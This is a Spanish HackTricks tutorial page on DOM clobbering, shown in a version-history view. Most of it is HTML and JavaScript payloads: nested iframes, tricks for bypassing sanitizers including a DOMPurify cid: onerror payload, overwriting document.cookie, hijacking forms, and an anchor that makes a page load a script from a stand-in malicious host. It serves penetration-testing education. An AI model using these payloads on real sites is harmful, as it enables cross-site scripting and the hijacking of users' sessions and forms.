hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md

218 lines
13 KiB
Markdown
Raw Normal View History

2023-06-05 20:33:24 +02:00
# Dom Clobbering
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 20:33:24 +02:00
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2023-06-05 20:33:24 +02:00
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Conceptos básicos**
Es posible generar **variables globales dentro del contexto JS** con los atributos **`id`** y **`name`** en las etiquetas HTML.
2023-06-05 20:33:24 +02:00
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
**Solo** ciertos elementos pueden usar el atributo **name** para clobber globals, son: `embed`, `form`, `iframe`, `image`, `img` y `object`.
2023-06-05 20:33:24 +02:00
Curiosamente, cuando usas un **elemento de formulario** para **clobber** una variable, obtendrás el valor de **`toString`** del propio elemento: `[object HTMLFormElement]` pero con el **ancla** el **`toString`** será el **`href`** del ancla. Por lo tanto, si clobberizas usando la etiqueta **`a`**, puedes **controlar** el **valor** cuando se **trata como una cadena**:
2023-06-05 20:33:24 +02:00
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays & Attributes
2023-06-05 20:33:24 +02:00
También es posible **sobrescribir un array** y **atributos de un objeto**:
2023-06-05 20:33:24 +02:00
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Para sobrescribir **un tercer atributo** (por ejemplo, x.y.z), necesitas usar un **`form`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Sobrescribir más atributos es **más complicado pero aún posible**, utilizando iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
La etiqueta de estilo se utiliza para **dar suficiente tiempo al iframe para renderizar**. Sin ella, verás una alerta de **indefinido**.
2023-06-05 20:33:24 +02:00
{% endhint %}
Para sobrescribir atributos más profundos, puedes usar **iframes con codificación html** de esta manera:
2023-06-05 20:33:24 +02:00
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Burlando Filtros**
Si un filtro está **recorriendo** las **propiedades** de un nodo usando algo como `document.getElementByID('x').attributes`, podrías **sobrescribir** la propiedad **`.attributes`** y **romper el filtro**. Otras propiedades del DOM como **`tagName`**, **`nodeName`** o **`parentNode`** y más también son **sobrescribibles**.
2023-06-05 20:33:24 +02:00
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Sobrescribiendo `window.someObject`**
En JavaScript es común encontrar:
2023-06-05 20:33:24 +02:00
```javascript
var someObject = window.someObject || {};
```
Manipular HTML en la página permite sobrescribir `someObject` con un nodo DOM, potencialmente introduciendo vulnerabilidades de seguridad. Por ejemplo, puedes reemplazar `someObject` con un elemento de anclaje apuntando a un script malicioso:
2023-06-05 20:33:24 +02:00
```html
<a id=someObject href=//malicious-website.com/malicious.js></a>
2023-06-05 20:33:24 +02:00
```
En un código vulnerable como:
2023-06-05 20:33:24 +02:00
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
2023-06-05 20:33:24 +02:00
```
Este método explota la fuente del script para ejecutar código no deseado.
2023-06-05 20:33:24 +02:00
**Truco**: **`DOMPurify`** te permite usar el protocolo **`cid:`**, que **no codifica en URL las comillas dobles**. Esto significa que puedes **inyectar una comilla doble codificada que se decodificará en tiempo de ejecución**. Por lo tanto, inyectar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** hará que la comilla HTML codificada `&quot;` sea **decodificada en tiempo de ejecución** y **escapará** del valor del atributo para **crear** el evento **`onerror`**.
2023-06-05 20:33:24 +02:00
Otra técnica utiliza un elemento **`form`**. Algunas bibliotecas del lado del cliente inspeccionan los atributos de un elemento de formulario recién creado para limpiarlos. Sin embargo, al agregar un `input` con `id=attributes` dentro del formulario, sobrescribes efectivamente la propiedad de atributos, evitando que el sanitizador acceda a los atributos reales.
2023-06-05 20:33:24 +02:00
Puedes [**encontrar un ejemplo de este tipo de clobbering en este informe de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
2023-06-05 20:33:24 +02:00
## Sobrescribiendo el objeto documento
2023-06-05 20:33:24 +02:00
Según la documentación, es posible sobrescribir atributos del objeto documento utilizando el DOM Clobbering:
2023-06-05 20:33:24 +02:00
> La interfaz [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [admite propiedades con nombre](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Los [nombres de propiedad admitidos](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de un objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) document en cualquier momento consisten en lo siguiente, en [orden de árbol](https://dom.spec.whatwg.org/#concept-tree-order) según el elemento que los contribuyó, ignorando duplicados posteriores, y con valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) que vienen antes de valores de atributos de nombre cuando el mismo elemento contribuye ambos:
2023-06-05 20:33:24 +02:00
>
> \- El valor del atributo de contenido de nombre para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) y elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido de nombre no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
2023-06-05 20:33:24 +02:00
> \
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [expuestos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que tienen un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root);\
2023-06-05 20:33:24 +02:00
> \
> \- El valor del atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos los elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que tienen tanto un atributo de contenido [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) no vacío como un atributo de contenido de nombre no vacío, y están [en un árbol de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) con el documento como su [raíz](https://dom.spec.whatwg.org/#concept-tree-root).
2023-06-05 20:33:24 +02:00
Utilizando esta técnica, puedes sobrescribir valores comúnmente utilizados como `document.cookie`, `document.body`, `document.children` e incluso métodos en la interfaz Document como `document.querySelector`.
2023-06-05 20:33:24 +02:00
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Escribiendo después del elemento clobbered
Los resultados de las llamadas a **`document.getElementById()`** y **`document.querySelector()`** pueden ser alterados al inyectar una etiqueta `<html>` o `<body>` con un atributo de id idéntico. Así es como se puede hacer:
2023-06-05 20:33:24 +02:00
```html
<div style="display:none" id="cdnDomain" class="x">test</div>
2023-06-05 20:33:24 +02:00
<p>
<html id="cdnDomain" class="x">clobbered</html>
2023-06-05 20:33:24 +02:00
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
alert(document.querySelector('.x').innerText); // Clobbered
2023-06-05 20:33:24 +02:00
</script>
```
Además, al emplear estilos para ocultar estas etiquetas HTML/body inyectadas, se puede evitar la interferencia de otros textos en el `innerText`, mejorando así la eficacia del ataque:
2023-06-05 20:33:24 +02:00
```html
<div style="display:none" id="cdnDomain">test</div>
2023-06-05 20:33:24 +02:00
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2023-06-05 20:33:24 +02:00
</script>
```
Investigaciones sobre SVG revelaron que una etiqueta `<body>` también puede ser utilizada de manera efectiva:
2023-06-05 20:33:24 +02:00
```html
<div style="display:none" id="cdnDomain">example.com</div>
<svg><body id="cdnDomain">clobbered</body></svg>
2023-06-05 20:33:24 +02:00
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2023-06-05 20:33:24 +02:00
</script>
```
Para que la etiqueta HTML funcione dentro de SVG en navegadores como Chrome y Firefox, es necesario usar la etiqueta `<foreignobject>`:
2023-06-05 20:33:24 +02:00
```html
<div style="display:none" id="cdnDomain">example.com</div>
2023-06-05 20:33:24 +02:00
<svg>
<foreignobject>
<html id="cdnDomain">clobbered</html>
2023-06-05 20:33:24 +02:00
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText); // Clobbered
2023-06-05 20:33:24 +02:00
</script>
```
## Sobrescribiendo Formularios
2023-06-05 20:33:24 +02:00
Es posible agregar **nuevas entradas dentro de un formulario** simplemente especificando el atributo `form` dentro de algunas etiquetas. Puedes usar esto para **añadir nuevos valores dentro de un formulario** e incluso agregar un nuevo **botón** para **enviarlo** (clickjacking o abusando de algún código JS `.click()`):
2023-06-05 20:33:24 +02:00
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Para obtener más atributos de formulario en [**botón, consulte esto**](https://www.w3schools.com/tags/tag\_button.asp)**.**
2023-06-05 20:33:24 +02:00
## Referencias
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* [https://portswigger.net/web-security/dom-based/dom-clobbering](https://portswigger.net/web-security/dom-based/dom-clobbering)
* Heyes, Gareth. JavaScript para hackers: Aprende a pensar como un hacker.
2023-06-05 20:33:24 +02:00
<details>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 20:33:24 +02:00
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
2023-06-05 20:33:24 +02:00
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 20:33:24 +02:00
</details>